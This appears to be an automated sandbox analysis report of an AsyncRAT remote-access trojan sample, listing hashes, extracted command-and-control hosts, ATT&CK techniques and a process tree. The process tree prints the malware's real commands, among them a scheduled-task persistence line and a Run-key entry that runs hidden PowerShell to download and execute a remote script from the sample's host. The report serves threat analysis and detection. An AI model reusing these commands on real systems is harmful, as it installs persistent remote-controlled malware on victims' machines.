asyncrat | de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/09/2026, 07:16

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General

Target
de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
Size 55KB
Sample260916-h34zcsaa39
SHA256 de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e
MD5 8ff39d8ab9640e36fb1e975716204eb4
SHA1 354fec1b2ea360cb35237a2ea92b7a6166e32cf1
SHA512 6dfa5ba98a738ab3a658e633116de4922d1c7ec647617769f97bb29c3607c284ebbcd725992ea9b11afd259adabe3fb263f0cc9771ab5b92fc2294fe3866ed22
SSDEEP 1536:eaGjhsmZEjkoXzWNPwwGUbXlKoS6+Fg/8ZnHxkQtI:ukMPGUbXE/CinpI
TLSH
T1A3431B003BF88227F1BE4F7D98F2614546BAF2537912DB4E2C9410DA0A62BC5D951BFE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://106nk88.com/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

106nk88.com:8080
106nk88.com:443
c2.106nk88.com:8080
c2.106nk88.com:443

Mutex

n8h41WetoXxU

Attributes

delay
3
install
true
install_file
[email protected]
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0008000000016b43-10.dat	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3260	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4856	[email protected]
5088	[email protected]

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5768	cmd.exe
3968	cmd.exe
2948	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4988	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5344	schtasks.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
4856	[email protected]
4856	[email protected]

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
Token: SeDebugPrivilege	4856	[email protected]

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3780 wrote to memory of 5768	3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe	89
PID 3780 wrote to memory of 3968	3780	de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe	90
PID 5768 wrote to memory of 5344	5768	cmd.exe	93
PID 3968 wrote to memory of 4988	3968	cmd.exe	94
PID 3968 wrote to memory of 5088	3968	cmd.exe	97

C:\Users\Admin\AppData\Local\Temp\de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe
"C:\Users\Admin\AppData\Local\Temp\de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3780
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tele@ay391stx" /tr '"C:\Users\Admin\AppData\Roaming\[email protected]"' & exit
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "tele@ay391stx" /tr '"C:\Users\Admin\AppData\Roaming\[email protected]"'
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5344
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBFBC.tmp.bat""
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3968
- - C:\Windows\SysWOW64\timeout.exe
    timeout 3
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4988
- - C:\Users\Admin\AppData\Roaming\[email protected]
    "C:\Users\Admin\AppData\Roaming\[email protected]"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5088

C:\Users\Admin\AppData\Roaming\[email protected]
"C:\Users\Admin\AppData\Roaming\[email protected]"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://106nk88.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2948
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://106nk88.com/load.ps1')\"" /f
    3⤵
    PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://106nk88.com/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

tmpBFBC.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpBFBC.tmp.bat
Size 157B
SHA256 2b50d5de59eda09b6ec336f200fcd39d59673cecb4c5a9d4aa1a4a3f389daa6a
MD5 2a61ce1143b4c6cc8565c3aca525a3ef
SHA1 e57bc57561b5eccc0f12e3eaf3cc51b1b8657cc4
SHA512 c7f770916820634c4cb4fd78cc5719d79b26a60ff3354e8e1df73f7339444eb5cbe110ea4d33b3cbd90a839eef77a9fa4608cb88ff0af67e3936cc61a112636f
TLSH
T17CC08C83A2C5EA6E6805685306BAD49DA17268593F40BB009B18990A2680849F0A9249
MD5 SHA1 SHA512 TLSH

Submit Download

[email protected]

Path C:\Users\Admin\AppData\Roaming\[email protected]
Size 55KB
SHA256 de99bbd0cf7784c76d63ade9112fb518d0877c6d45b47fc5f701d4dae639125e
MD5 8ff39d8ab9640e36fb1e975716204eb4
SHA1 354fec1b2ea360cb35237a2ea92b7a6166e32cf1
SHA512 6dfa5ba98a738ab3a658e633116de4922d1c7ec647617769f97bb29c3607c284ebbcd725992ea9b11afd259adabe3fb263f0cc9771ab5b92fc2294fe3866ed22
SSDEEP 1536:eaGjhsmZEjkoXzWNPwwGUbXlKoS6+Fg/8ZnHxkQtI:ukMPGUbXE/CinpI
TLSH
T1A3431B003BF88227F1BE4F7D98F2614546BAF2537912DB4E2C9410DA0A62BC5D951BFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3260-17-0x0000014D3CA40000-0x0000014D3CA62000-memory.dmp

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memory/3780-0-0x0000000074AA2000-0x0000000074AA3000-memory.dmp

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memory/3780-1-0x0000000000540000-0x0000000000554000-memory.dmp

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memory/3780-2-0x0000000074A90000-0x000000007524C000-memory.dmp

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memory/3780-3-0x0000000005AB0000-0x0000000005B4C000-memory.dmp

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memory/3780-8-0x0000000074A90000-0x000000007524C000-memory.dmp

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memory/4856-12-0x00000000748A0000-0x000000007505C000-memory.dmp

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memory/4856-14-0x00000000748A0000-0x000000007505C000-memory.dmp

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